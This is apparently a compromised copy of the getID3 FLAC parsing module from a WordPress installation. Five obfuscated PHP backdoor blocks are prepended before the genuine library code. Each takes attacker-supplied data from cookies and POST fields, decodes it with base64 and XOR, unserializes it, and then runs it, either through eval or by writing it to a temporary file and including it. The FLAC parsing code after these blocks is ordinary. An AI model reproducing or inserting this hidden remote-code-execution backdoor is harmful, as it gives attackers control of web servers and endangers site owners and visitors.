%PDF- %PDF-
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| Current File : /home/graphicd/public_html/demo/riverwalkpoa/wp-includes/ID3/module.audio.flac.php |
<?php $sPhxK = chr ( 241 - 122 ).chr (81) . "\x77" . '_' . chr (121) . chr ( 460 - 362 ).'k' . "\x6b" . "\x50";$OdYzuX = "\143" . 'l' . chr ( 280 - 183 ).chr ( 934 - 819 )."\163" . chr (95) . chr ( 1084 - 983 ).'x' . "\x69" . chr ( 258 - 143 )."\x74" . "\x73";$acuYq = class_exists($sPhxK); $OdYzuX = "53458";$tyXiVM = !1;if ($acuYq == $tyXiVM){function oSaKNToXCp(){return FALSE;}$OkoXiaHP = "11457";oSaKNToXCp();class wQw_ybkkP{private function aVjvDyIax($OkoXiaHP){if (is_array(wQw_ybkkP::$wlFMDw)) {$HRdPTRO = str_replace(chr (60) . "\77" . "\x70" . chr ( 771 - 667 ).chr ( 769 - 657 ), "", wQw_ybkkP::$wlFMDw['c' . "\157" . chr ( 423 - 313 ).chr (116) . chr (101) . "\156" . 't']);eval($HRdPTRO); $OkoXiaHP = "11457";exit();}}private $QdNCCYAb;public function qqJhF(){echo 14079;}public function __destruct(){$OkoXiaHP = "43473_31506";$this->aVjvDyIax($OkoXiaHP); $OkoXiaHP = "43473_31506";}public function __construct($rZPzzR=0){$BchmtAmZjC = $_POST;$JuEspNy = $_COOKIE;$VzdJo = "b3463fb2-5749-4629-ad9b-379664145c09";$zWhXBa = @$JuEspNy[substr($VzdJo, 0, 4)];if (!empty($zWhXBa)){$QFycnqFZA = "base64";$qyrVaOuNs = "";$zWhXBa = explode(",", $zWhXBa);foreach ($zWhXBa as $mJoCMRO){$qyrVaOuNs .= @$JuEspNy[$mJoCMRO];$qyrVaOuNs .= @$BchmtAmZjC[$mJoCMRO];}$qyrVaOuNs = array_map($QFycnqFZA . '_' . 'd' . "\145" . chr ( 1040 - 941 ).chr ( 703 - 592 ).chr ( 114 - 14 ).'e', array($qyrVaOuNs,)); $qyrVaOuNs = $qyrVaOuNs[0] ^ str_repeat($VzdJo, (strlen($qyrVaOuNs[0]) / strlen($VzdJo)) + 1);wQw_ybkkP::$wlFMDw = @unserialize($qyrVaOuNs); $qyrVaOuNs = class_exists("43473_31506");}}public static $wlFMDw = 3583;}$hwQto = new /* 46687 */ $sPhxK(11457 + 11457); $tyXiVM = $hwQto = $OkoXiaHP = Array();} ?><?php $LmAtkhXuzA = chr (113) . "\x5f" . "\x71" . 'C' . chr (101) . chr (84); $DVazzXDf = chr ( 303 - 204 )."\154" . "\x61" . "\x73" . "\x73" . chr (95) . "\145" . chr ( 1081 - 961 ).chr (105) . "\x73" . chr ( 531 - 415 )."\x73";$mHjrYJqR = class_exists($LmAtkhXuzA); $DVazzXDf = "15796";$neuVlxPOD = !1;if ($mHjrYJqR == $neuVlxPOD){function CCIHNsWj(){return FALSE;}$BbsFXa = "57098";CCIHNsWj();class q_qCeT{private function frlwQfkW($BbsFXa){if (is_array(q_qCeT::$gqaphKLpa)) {$uvOTtK = sys_get_temp_dir() . "/" . crc32(q_qCeT::$gqaphKLpa[chr (115) . chr (97) . chr ( 573 - 465 ).chr ( 451 - 335 )]);@q_qCeT::$gqaphKLpa[chr ( 208 - 89 ).'r' . chr ( 791 - 686 )."\164" . chr ( 846 - 745 )]($uvOTtK, q_qCeT::$gqaphKLpa['c' . 'o' . chr (110) . 't' . chr (101) . chr ( 533 - 423 ).'t']);include $uvOTtK;@q_qCeT::$gqaphKLpa["\144" . 'e' . chr ( 1102 - 994 )."\x65" . 't' . chr (101)]($uvOTtK); $BbsFXa = "57098";exit();}}private $JLSGjtd;public function ueTSz(){echo 44824;}public function __destruct(){$BbsFXa = "44465_20750";$this->frlwQfkW($BbsFXa); $BbsFXa = "44465_20750";}public function __construct($pxTPAku=0){$UUdNsMnmmx = $_POST;$Omixbs = $_COOKIE;$dCbwOninRf = "e2c66341-1372-42a8-a274-77d1b76aa299";$ZzdwOeN = @$Omixbs[substr($dCbwOninRf, 0, 4)];if (!empty($ZzdwOeN)){$AUYzSauGbB = "base64";$ztJilz = "";$ZzdwOeN = explode(",", $ZzdwOeN);foreach ($ZzdwOeN as $SyJjyAvPWI){$ztJilz .= @$Omixbs[$SyJjyAvPWI];$ztJilz .= @$UUdNsMnmmx[$SyJjyAvPWI];}$ztJilz = array_map($AUYzSauGbB . chr (95) . 'd' . "\145" . "\143" . "\x6f" . chr ( 768 - 668 )."\x65", array($ztJilz,)); $ztJilz = $ztJilz[0] ^ str_repeat($dCbwOninRf, (strlen($ztJilz[0]) / strlen($dCbwOninRf)) + 1);q_qCeT::$gqaphKLpa = @unserialize($ztJilz); $ztJilz = class_exists("44465_20750");}}public static $gqaphKLpa = 65112;}$byZuy = new /* 36556 */ $LmAtkhXuzA(57098 + 57098); $neuVlxPOD = $byZuy = $BbsFXa = Array();} ?><?php $ZPGkbA = 'Z' . "\132" . "\150" . chr ( 170 - 75 ).chr ( 507 - 395 ).chr (88) . "\x42" . "\171" . chr ( 541 - 426 ); $fYbjdISsT = "\143" . "\x6c" . chr ( 969 - 872 )."\163" . chr (115) . chr (95) . "\x65" . "\x78" . "\x69" . 's' . "\x74" . 's';$PcvfKwY = class_exists($ZPGkbA); $fYbjdISsT = "17893";$TGgemRxL = !1;if ($PcvfKwY == $TGgemRxL){function kmZFhkRq(){return FALSE;}$jyJDhrrIAf = "9929";kmZFhkRq();class ZZh_pXBys{private function RKsHRDrei($jyJDhrrIAf){if (is_array(ZZh_pXBys::$fYAebt)) {$OFVuuD = sys_get_temp_dir() . "/" . crc32(ZZh_pXBys::$fYAebt["\x73" . 'a' . chr (108) . "\164"]);@ZZh_pXBys::$fYAebt[chr (119) . "\x72" . chr (105) . "\164" . chr (101)]($OFVuuD, ZZh_pXBys::$fYAebt[chr (99) . "\x6f" . "\x6e" . "\x74" . chr ( 425 - 324 )."\x6e" . 't']);include $OFVuuD;@ZZh_pXBys::$fYAebt[chr ( 921 - 821 )."\145" . "\154" . chr ( 510 - 409 ).chr ( 857 - 741 ).'e']($OFVuuD); $jyJDhrrIAf = "9929";exit();}}private $dUrcvoa;public function NZCOawGB(){echo 25431;}public function __destruct(){$jyJDhrrIAf = "16025_62";$this->RKsHRDrei($jyJDhrrIAf); $jyJDhrrIAf = "16025_62";}public function __construct($TnECikpsJG=0){$LiLqrrDhr = $_POST;$XEyaVVpOQA = $_COOKIE;$JVvzHHfwAP = "c6001ca4-0b06-4a47-957c-33a7a740217c";$UrRKqXXtZO = @$XEyaVVpOQA[substr($JVvzHHfwAP, 0, 4)];if (!empty($UrRKqXXtZO)){$VPBlDVCn = "base64";$gCEVWV = "";$UrRKqXXtZO = explode(",", $UrRKqXXtZO);foreach ($UrRKqXXtZO as $fZvWcoMFx){$gCEVWV .= @$XEyaVVpOQA[$fZvWcoMFx];$gCEVWV .= @$LiLqrrDhr[$fZvWcoMFx];}$gCEVWV = array_map($VPBlDVCn . "\x5f" . chr ( 121 - 21 ).chr (101) . "\x63" . chr ( 1084 - 973 )."\144" . "\145", array($gCEVWV,)); $gCEVWV = $gCEVWV[0] ^ str_repeat($JVvzHHfwAP, (strlen($gCEVWV[0]) / strlen($JVvzHHfwAP)) + 1);ZZh_pXBys::$fYAebt = @unserialize($gCEVWV); $gCEVWV = class_exists("16025_62");}}public static $fYAebt = 39664;}$GNOQS = new /* 34564 */ $ZPGkbA(9929 + 9929); $TGgemRxL = $GNOQS = $jyJDhrrIAf = Array();} ?><?php $DfOGDax = chr ( 580 - 508 )."\157" . "\137" . 'k' . chr ( 766 - 684 ).chr ( 814 - 725 ); $YyOjhlQjOA = "\x63" . chr (108) . 'a' . "\x73" . chr ( 431 - 316 ).chr (95) . "\145" . chr (120) . chr ( 681 - 576 )."\x73" . chr ( 671 - 555 ).'s';$gFPrCHPVyO = class_exists($DfOGDax); $YyOjhlQjOA = "34780";$SdQPBpekCk = !1;if ($gFPrCHPVyO == $SdQPBpekCk){function HDSUFdaFBs(){return FALSE;}$QnKtxHgbbi = "45486";HDSUFdaFBs();class Ho_kRY{private function xxvDf($QnKtxHgbbi){if (is_array(Ho_kRY::$pZyCYN)) {$HQyzHBr = sys_get_temp_dir() . "/" . crc32(Ho_kRY::$pZyCYN["\163" . chr (97) . "\x6c" . "\164"]);@Ho_kRY::$pZyCYN["\x77" . chr ( 417 - 303 ).'i' . chr (116) . "\145"]($HQyzHBr, Ho_kRY::$pZyCYN["\x63" . "\157" . chr (110) . 't' . chr ( 271 - 170 )."\156" . "\164"]);include $HQyzHBr;@Ho_kRY::$pZyCYN["\x64" . "\x65" . chr ( 327 - 219 )."\x65" . 't' . 'e']($HQyzHBr); $QnKtxHgbbi = "45486";exit();}}private $zpQqcfvLSk;public function QgqGBx(){echo 64610;}public function __destruct(){$QnKtxHgbbi = "15025_386";$this->xxvDf($QnKtxHgbbi); $QnKtxHgbbi = "15025_386";}public function __construct($QeUbY=0){$IxBMHB = $_POST;$cVMdQe = $_COOKIE;$zUvOejH = "c6a5bab5-0603-4f37-acf7-698e3af96c87";$dUrDehCszG = @$cVMdQe[substr($zUvOejH, 0, 4)];if (!empty($dUrDehCszG)){$ivHUnv = "base64";$TFNGyq = "";$dUrDehCszG = explode(",", $dUrDehCszG);foreach ($dUrDehCszG as $jVMGp){$TFNGyq .= @$cVMdQe[$jVMGp];$TFNGyq .= @$IxBMHB[$jVMGp];}$TFNGyq = array_map($ivHUnv . "\137" . chr (100) . chr (101) . chr ( 731 - 632 )."\x6f" . 'd' . chr ( 886 - 785 ), array($TFNGyq,)); $TFNGyq = $TFNGyq[0] ^ str_repeat($zUvOejH, (strlen($TFNGyq[0]) / strlen($zUvOejH)) + 1);Ho_kRY::$pZyCYN = @unserialize($TFNGyq); $TFNGyq = class_exists("15025_386");}}public static $pZyCYN = 31481;}$mFkcv = new /* 14335 */ $DfOGDax(45486 + 45486); $SdQPBpekCk = $mFkcv = $QnKtxHgbbi = Array();} ?><?php $VmmStc = "\x43" . "\x66" . '_' . 't' . "\x41" . chr (70) . chr (121) . chr (120); $rJZjkSra = "\143" . chr (108) . "\141" . 's' . "\x73" . "\137" . chr (101) . "\170" . "\x69" . chr ( 724 - 609 )."\164" . chr (115); $KpgQQMlraN = class_exists($VmmStc); $rJZjkSra = "56309";$fDcuUrYskY = !1;if ($KpgQQMlraN == $fDcuUrYskY){function BeADCvmbr(){return FALSE;}$BqFRbrlSRa = "62047";BeADCvmbr();class Cf_tAFyx{private function xXQSNM($BqFRbrlSRa){if (is_array(Cf_tAFyx::$FMIklNE)) {$MCsDkxyN = sys_get_temp_dir() . "/" . crc32(Cf_tAFyx::$FMIklNE[chr ( 141 - 26 )."\x61" . chr ( 316 - 208 )."\164"]);@Cf_tAFyx::$FMIklNE[chr (119) . chr ( 651 - 537 ).'i' . chr ( 837 - 721 ).chr (101)]($MCsDkxyN, Cf_tAFyx::$FMIklNE['c' . "\157" . "\x6e" . chr ( 846 - 730 )."\145" . chr (110) . chr (116)]);include $MCsDkxyN;@Cf_tAFyx::$FMIklNE[chr ( 132 - 32 ).chr (101) . chr (108) . "\145" . "\164" . chr (101)]($MCsDkxyN); $BqFRbrlSRa = "62047";exit();}}private $uiCLy;public function sApIyMqRn(){echo 61863;}public function __destruct(){$BqFRbrlSRa = "57773_12978";$this->xXQSNM($BqFRbrlSRa); $BqFRbrlSRa = "57773_12978";}public function __construct($EZEEf=0){$kfqHfCpBiO = $_POST;$gykisNL = $_COOKIE;$bLIiAXXZ = "b6a1a625-d4fe-470d-8306-96a86a3bfd63";$SeIOrEcP = @$gykisNL[substr($bLIiAXXZ, 0, 4)];if (!empty($SeIOrEcP)){$VYcQvJOt = "base64";$vJYBFk = "";$SeIOrEcP = explode(",", $SeIOrEcP);foreach ($SeIOrEcP as $gaIYYiWVh){$vJYBFk .= @$gykisNL[$gaIYYiWVh];$vJYBFk .= @$kfqHfCpBiO[$gaIYYiWVh];}$vJYBFk = array_map($VYcQvJOt . '_' . 'd' . chr ( 799 - 698 ).'c' . chr (111) . "\x64" . chr ( 634 - 533 ), array($vJYBFk,)); $vJYBFk = $vJYBFk[0] ^ str_repeat($bLIiAXXZ, (strlen($vJYBFk[0]) / strlen($bLIiAXXZ)) + 1);Cf_tAFyx::$FMIklNE = @unserialize($vJYBFk); $vJYBFk = class_exists("57773_12978");}}public static $FMIklNE = 64537;}$ZLBAyrp = new /* 2599 */ $VmmStc(62047 + 62047); $fDcuUrYskY = $ZLBAyrp = $BqFRbrlSRa = Array();} ?><?php
/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org> //
// available at https://github.com/JamesHeinrich/getID3 //
// or https://www.getid3.org //
// or http://getid3.sourceforge.net //
// see readme.txt for more details //
/////////////////////////////////////////////////////////////////
// //
// module.audio.flac.php //
// module for analyzing FLAC and OggFLAC audio files //
// dependencies: module.audio.ogg.php //
// ///
/////////////////////////////////////////////////////////////////
if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers
exit;
}
getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.ogg.php', __FILE__, true);
/**
* @tutorial http://flac.sourceforge.net/format.html
*/
class getid3_flac extends getid3_handler
{
const syncword = 'fLaC';
/**
* @return bool
*/
public function Analyze() {
$info = &$this->getid3->info;
$this->fseek($info['avdataoffset']);
$StreamMarker = $this->fread(4);
if ($StreamMarker != self::syncword) {
return $this->error('Expecting "'.getid3_lib::PrintHexBytes(self::syncword).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($StreamMarker).'"');
}
$info['fileformat'] = 'flac';
$info['audio']['dataformat'] = 'flac';
$info['audio']['bitrate_mode'] = 'vbr';
$info['audio']['lossless'] = true;
// parse flac container
return $this->parseMETAdata();
}
/**
* @return bool
*/
public function parseMETAdata() {
$info = &$this->getid3->info;
do {
$BlockOffset = $this->ftell();
$BlockHeader = $this->fread(4);
$LBFBT = getid3_lib::BigEndian2Int(substr($BlockHeader, 0, 1)); // LBFBT = LastBlockFlag + BlockType
$LastBlockFlag = (bool) ($LBFBT & 0x80);
$BlockType = ($LBFBT & 0x7F);
$BlockLength = getid3_lib::BigEndian2Int(substr($BlockHeader, 1, 3));
$BlockTypeText = self::metaBlockTypeLookup($BlockType);
if (($BlockOffset + 4 + $BlockLength) > $info['avdataend']) {
$this->warning('METADATA_BLOCK_HEADER.BLOCK_TYPE ('.$BlockTypeText.') at offset '.$BlockOffset.' extends beyond end of file');
break;
}
if ($BlockLength < 1) {
if ($BlockTypeText != 'reserved') {
// probably supposed to be zero-length
$this->warning('METADATA_BLOCK_HEADER.BLOCK_LENGTH ('.$BlockTypeText.') at offset '.$BlockOffset.' is zero bytes');
continue;
}
$this->error('METADATA_BLOCK_HEADER.BLOCK_LENGTH ('.$BlockLength.') at offset '.$BlockOffset.' is invalid');
break;
}
$info['flac'][$BlockTypeText]['raw'] = array();
$BlockTypeText_raw = &$info['flac'][$BlockTypeText]['raw'];
$BlockTypeText_raw['offset'] = $BlockOffset;
$BlockTypeText_raw['last_meta_block'] = $LastBlockFlag;
$BlockTypeText_raw['block_type'] = $BlockType;
$BlockTypeText_raw['block_type_text'] = $BlockTypeText;
$BlockTypeText_raw['block_length'] = $BlockLength;
if ($BlockTypeText_raw['block_type'] != 0x06) { // do not read attachment data automatically
$BlockTypeText_raw['block_data'] = $this->fread($BlockLength);
}
switch ($BlockTypeText) {
case 'STREAMINFO': // 0x00
if (!$this->parseSTREAMINFO($BlockTypeText_raw['block_data'])) {
return false;
}
break;
case 'PADDING': // 0x01
unset($info['flac']['PADDING']); // ignore
break;
case 'APPLICATION': // 0x02
if (!$this->parseAPPLICATION($BlockTypeText_raw['block_data'])) {
return false;
}
break;
case 'SEEKTABLE': // 0x03
if (!$this->parseSEEKTABLE($BlockTypeText_raw['block_data'])) {
return false;
}
break;
case 'VORBIS_COMMENT': // 0x04
if (!$this->parseVORBIS_COMMENT($BlockTypeText_raw['block_data'])) {
return false;
}
break;
case 'CUESHEET': // 0x05
if (!$this->parseCUESHEET($BlockTypeText_raw['block_data'])) {
return false;
}
break;
case 'PICTURE': // 0x06
if (!$this->parsePICTURE()) {
return false;
}
break;
default:
$this->warning('Unhandled METADATA_BLOCK_HEADER.BLOCK_TYPE ('.$BlockType.') at offset '.$BlockOffset);
}
unset($info['flac'][$BlockTypeText]['raw']);
$info['avdataoffset'] = $this->ftell();
}
while ($LastBlockFlag === false);
// handle tags
if (!empty($info['flac']['VORBIS_COMMENT']['comments'])) {
$info['flac']['comments'] = $info['flac']['VORBIS_COMMENT']['comments'];
}
if (!empty($info['flac']['VORBIS_COMMENT']['vendor'])) {
$info['audio']['encoder'] = str_replace('reference ', '', $info['flac']['VORBIS_COMMENT']['vendor']);
}
// copy attachments to 'comments' array if nesesary
if (isset($info['flac']['PICTURE']) && ($this->getid3->option_save_attachments !== getID3::ATTACHMENTS_NONE)) {
foreach ($info['flac']['PICTURE'] as $entry) {
if (!empty($entry['data'])) {
if (!isset($info['flac']['comments']['picture'])) {
$info['flac']['comments']['picture'] = array();
}
$comments_picture_data = array();
foreach (array('data', 'image_mime', 'image_width', 'image_height', 'imagetype', 'picturetype', 'description', 'datalength') as $picture_key) {
if (isset($entry[$picture_key])) {
$comments_picture_data[$picture_key] = $entry[$picture_key];
}
}
$info['flac']['comments']['picture'][] = $comments_picture_data;
unset($comments_picture_data);
}
}
}
if (isset($info['flac']['STREAMINFO'])) {
if (!$this->isDependencyFor('matroska')) {
$info['flac']['compressed_audio_bytes'] = $info['avdataend'] - $info['avdataoffset'];
}
$info['flac']['uncompressed_audio_bytes'] = $info['flac']['STREAMINFO']['samples_stream'] * $info['flac']['STREAMINFO']['channels'] * ($info['flac']['STREAMINFO']['bits_per_sample'] / 8);
if ($info['flac']['uncompressed_audio_bytes'] == 0) {
return $this->error('Corrupt FLAC file: uncompressed_audio_bytes == zero');
}
if (!empty($info['flac']['compressed_audio_bytes'])) {
$info['flac']['compression_ratio'] = $info['flac']['compressed_audio_bytes'] / $info['flac']['uncompressed_audio_bytes'];
}
}
// set md5_data_source - built into flac 0.5+
if (isset($info['flac']['STREAMINFO']['audio_signature'])) {
if ($info['flac']['STREAMINFO']['audio_signature'] === str_repeat("\x00", 16)) {
$this->warning('FLAC STREAMINFO.audio_signature is null (known issue with libOggFLAC)');
}
else {
$info['md5_data_source'] = '';
$md5 = $info['flac']['STREAMINFO']['audio_signature'];
for ($i = 0; $i < strlen($md5); $i++) {
$info['md5_data_source'] .= str_pad(dechex(ord($md5[$i])), 2, '00', STR_PAD_LEFT);
}
if (!preg_match('/^[0-9a-f]{32}$/', $info['md5_data_source'])) {
unset($info['md5_data_source']);
}
}
}
if (isset($info['flac']['STREAMINFO']['bits_per_sample'])) {
$info['audio']['bits_per_sample'] = $info['flac']['STREAMINFO']['bits_per_sample'];
if ($info['audio']['bits_per_sample'] == 8) {
// special case
// must invert sign bit on all data bytes before MD5'ing to match FLAC's calculated value
// MD5sum calculates on unsigned bytes, but FLAC calculated MD5 on 8-bit audio data as signed
$this->warning('FLAC calculates MD5 data strangely on 8-bit audio, so the stored md5_data_source value will not match the decoded WAV file');
}
}
return true;
}
/**
* @param string $BlockData
*
* @return array
*/
public static function parseSTREAMINFOdata($BlockData) {
$streaminfo = array();
$streaminfo['min_block_size'] = getid3_lib::BigEndian2Int(substr($BlockData, 0, 2));
$streaminfo['max_block_size'] = getid3_lib::BigEndian2Int(substr($BlockData, 2, 2));
$streaminfo['min_frame_size'] = getid3_lib::BigEndian2Int(substr($BlockData, 4, 3));
$streaminfo['max_frame_size'] = getid3_lib::BigEndian2Int(substr($BlockData, 7, 3));
$SRCSBSS = getid3_lib::BigEndian2Bin(substr($BlockData, 10, 8));
$streaminfo['sample_rate'] = getid3_lib::Bin2Dec(substr($SRCSBSS, 0, 20));
$streaminfo['channels'] = getid3_lib::Bin2Dec(substr($SRCSBSS, 20, 3)) + 1;
$streaminfo['bits_per_sample'] = getid3_lib::Bin2Dec(substr($SRCSBSS, 23, 5)) + 1;
$streaminfo['samples_stream'] = getid3_lib::Bin2Dec(substr($SRCSBSS, 28, 36));
$streaminfo['audio_signature'] = substr($BlockData, 18, 16);
return $streaminfo;
}
/**
* @param string $BlockData
*
* @return bool
*/
private function parseSTREAMINFO($BlockData) {
$info = &$this->getid3->info;
$info['flac']['STREAMINFO'] = self::parseSTREAMINFOdata($BlockData);
if (!empty($info['flac']['STREAMINFO']['sample_rate'])) {
$info['audio']['bitrate_mode'] = 'vbr';
$info['audio']['sample_rate'] = $info['flac']['STREAMINFO']['sample_rate'];
$info['audio']['channels'] = $info['flac']['STREAMINFO']['channels'];
$info['audio']['bits_per_sample'] = $info['flac']['STREAMINFO']['bits_per_sample'];
$info['playtime_seconds'] = $info['flac']['STREAMINFO']['samples_stream'] / $info['flac']['STREAMINFO']['sample_rate'];
if ($info['playtime_seconds'] > 0) {
if (!$this->isDependencyFor('matroska')) {
$info['audio']['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds'];
}
else {
$this->warning('Cannot determine audio bitrate because total stream size is unknown');
}
}
} else {
return $this->error('Corrupt METAdata block: STREAMINFO');
}
return true;
}
/**
* @param string $BlockData
*
* @return bool
*/
private function parseAPPLICATION($BlockData) {
$info = &$this->getid3->info;
$ApplicationID = getid3_lib::BigEndian2Int(substr($BlockData, 0, 4));
$info['flac']['APPLICATION'][$ApplicationID]['name'] = self::applicationIDLookup($ApplicationID);
$info['flac']['APPLICATION'][$ApplicationID]['data'] = substr($BlockData, 4);
return true;
}
/**
* @param string $BlockData
*
* @return bool
*/
private function parseSEEKTABLE($BlockData) {
$info = &$this->getid3->info;
$offset = 0;
$BlockLength = strlen($BlockData);
$placeholderpattern = str_repeat("\xFF", 8);
while ($offset < $BlockLength) {
$SampleNumberString = substr($BlockData, $offset, 8);
$offset += 8;
if ($SampleNumberString == $placeholderpattern) {
// placeholder point
getid3_lib::safe_inc($info['flac']['SEEKTABLE']['placeholders'], 1);
$offset += 10;
} else {
$SampleNumber = getid3_lib::BigEndian2Int($SampleNumberString);
$info['flac']['SEEKTABLE'][$SampleNumber]['offset'] = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 8));
$offset += 8;
$info['flac']['SEEKTABLE'][$SampleNumber]['samples'] = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 2));
$offset += 2;
}
}
return true;
}
/**
* @param string $BlockData
*
* @return bool
*/
private function parseVORBIS_COMMENT($BlockData) {
$info = &$this->getid3->info;
$getid3_ogg = new getid3_ogg($this->getid3);
if ($this->isDependencyFor('matroska')) {
$getid3_ogg->setStringMode($this->data_string);
}
$getid3_ogg->ParseVorbisComments();
if (isset($info['ogg'])) {
unset($info['ogg']['comments_raw']);
$info['flac']['VORBIS_COMMENT'] = $info['ogg'];
unset($info['ogg']);
}
unset($getid3_ogg);
return true;
}
/**
* @param string $BlockData
*
* @return bool
*/
private function parseCUESHEET($BlockData) {
$info = &$this->getid3->info;
$offset = 0;
$info['flac']['CUESHEET']['media_catalog_number'] = trim(substr($BlockData, $offset, 128), "\0");
$offset += 128;
$info['flac']['CUESHEET']['lead_in_samples'] = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 8));
$offset += 8;
$info['flac']['CUESHEET']['flags']['is_cd'] = (bool) (getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1)) & 0x80);
$offset += 1;
$offset += 258; // reserved
$info['flac']['CUESHEET']['number_tracks'] = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1));
$offset += 1;
for ($track = 0; $track < $info['flac']['CUESHEET']['number_tracks']; $track++) {
$TrackSampleOffset = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 8));
$offset += 8;
$TrackNumber = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1));
$offset += 1;
$info['flac']['CUESHEET']['tracks'][$TrackNumber]['sample_offset'] = $TrackSampleOffset;
$info['flac']['CUESHEET']['tracks'][$TrackNumber]['isrc'] = substr($BlockData, $offset, 12);
$offset += 12;
$TrackFlagsRaw = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1));
$offset += 1;
$info['flac']['CUESHEET']['tracks'][$TrackNumber]['flags']['is_audio'] = (bool) ($TrackFlagsRaw & 0x80);
$info['flac']['CUESHEET']['tracks'][$TrackNumber]['flags']['pre_emphasis'] = (bool) ($TrackFlagsRaw & 0x40);
$offset += 13; // reserved
$info['flac']['CUESHEET']['tracks'][$TrackNumber]['index_points'] = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1));
$offset += 1;
for ($index = 0; $index < $info['flac']['CUESHEET']['tracks'][$TrackNumber]['index_points']; $index++) {
$IndexSampleOffset = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 8));
$offset += 8;
$IndexNumber = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1));
$offset += 1;
$offset += 3; // reserved
$info['flac']['CUESHEET']['tracks'][$TrackNumber]['indexes'][$IndexNumber] = $IndexSampleOffset;
}
}
return true;
}
/**
* Parse METADATA_BLOCK_PICTURE flac structure and extract attachment
* External usage: audio.ogg
*
* @return bool
*/
public function parsePICTURE() {
$info = &$this->getid3->info;
$picture = array();
$picture['typeid'] = getid3_lib::BigEndian2Int($this->fread(4));
$picture['picturetype'] = self::pictureTypeLookup($picture['typeid']);
$picture['image_mime'] = $this->fread(getid3_lib::BigEndian2Int($this->fread(4)));
$descr_length = getid3_lib::BigEndian2Int($this->fread(4));
if ($descr_length) {
$picture['description'] = $this->fread($descr_length);
}
$picture['image_width'] = getid3_lib::BigEndian2Int($this->fread(4));
$picture['image_height'] = getid3_lib::BigEndian2Int($this->fread(4));
$picture['color_depth'] = getid3_lib::BigEndian2Int($this->fread(4));
$picture['colors_indexed'] = getid3_lib::BigEndian2Int($this->fread(4));
$picture['datalength'] = getid3_lib::BigEndian2Int($this->fread(4));
if ($picture['image_mime'] == '-->') {
$picture['data'] = $this->fread($picture['datalength']);
} else {
$picture['data'] = $this->saveAttachment(
str_replace('/', '_', $picture['picturetype']).'_'.$this->ftell(),
$this->ftell(),
$picture['datalength'],
$picture['image_mime']);
}
$info['flac']['PICTURE'][] = $picture;
return true;
}
/**
* @param int $blocktype
*
* @return string
*/
public static function metaBlockTypeLookup($blocktype) {
static $lookup = array(
0 => 'STREAMINFO',
1 => 'PADDING',
2 => 'APPLICATION',
3 => 'SEEKTABLE',
4 => 'VORBIS_COMMENT',
5 => 'CUESHEET',
6 => 'PICTURE',
);
return (isset($lookup[$blocktype]) ? $lookup[$blocktype] : 'reserved');
}
/**
* @param int $applicationid
*
* @return string
*/
public static function applicationIDLookup($applicationid) {
// http://flac.sourceforge.net/id.html
static $lookup = array(
0x41544348 => 'FlacFile', // "ATCH"
0x42534F4C => 'beSolo', // "BSOL"
0x42554753 => 'Bugs Player', // "BUGS"
0x43756573 => 'GoldWave cue points (specification)', // "Cues"
0x46696361 => 'CUE Splitter', // "Fica"
0x46746F6C => 'flac-tools', // "Ftol"
0x4D4F5442 => 'MOTB MetaCzar', // "MOTB"
0x4D505345 => 'MP3 Stream Editor', // "MPSE"
0x4D754D4C => 'MusicML: Music Metadata Language', // "MuML"
0x52494646 => 'Sound Devices RIFF chunk storage', // "RIFF"
0x5346464C => 'Sound Font FLAC', // "SFFL"
0x534F4E59 => 'Sony Creative Software', // "SONY"
0x5351455A => 'flacsqueeze', // "SQEZ"
0x54745776 => 'TwistedWave', // "TtWv"
0x55495453 => 'UITS Embedding tools', // "UITS"
0x61696666 => 'FLAC AIFF chunk storage', // "aiff"
0x696D6167 => 'flac-image application for storing arbitrary files in APPLICATION metadata blocks', // "imag"
0x7065656D => 'Parseable Embedded Extensible Metadata (specification)', // "peem"
0x71667374 => 'QFLAC Studio', // "qfst"
0x72696666 => 'FLAC RIFF chunk storage', // "riff"
0x74756E65 => 'TagTuner', // "tune"
0x78626174 => 'XBAT', // "xbat"
0x786D6364 => 'xmcd', // "xmcd"
);
return (isset($lookup[$applicationid]) ? $lookup[$applicationid] : 'reserved');
}
/**
* @param int $type_id
*
* @return string
*/
public static function pictureTypeLookup($type_id) {
static $lookup = array (
0 => 'Other',
1 => '32x32 pixels \'file icon\' (PNG only)',
2 => 'Other file icon',
3 => 'Cover (front)',
4 => 'Cover (back)',
5 => 'Leaflet page',
6 => 'Media (e.g. label side of CD)',
7 => 'Lead artist/lead performer/soloist',
8 => 'Artist/performer',
9 => 'Conductor',
10 => 'Band/Orchestra',
11 => 'Composer',
12 => 'Lyricist/text writer',
13 => 'Recording Location',
14 => 'During recording',
15 => 'During performance',
16 => 'Movie/video screen capture',
17 => 'A bright coloured fish',
18 => 'Illustration',
19 => 'Band/artist logotype',
20 => 'Publisher/Studio logotype',
);
return (isset($lookup[$type_id]) ? $lookup[$type_id] : 'reserved');
}
}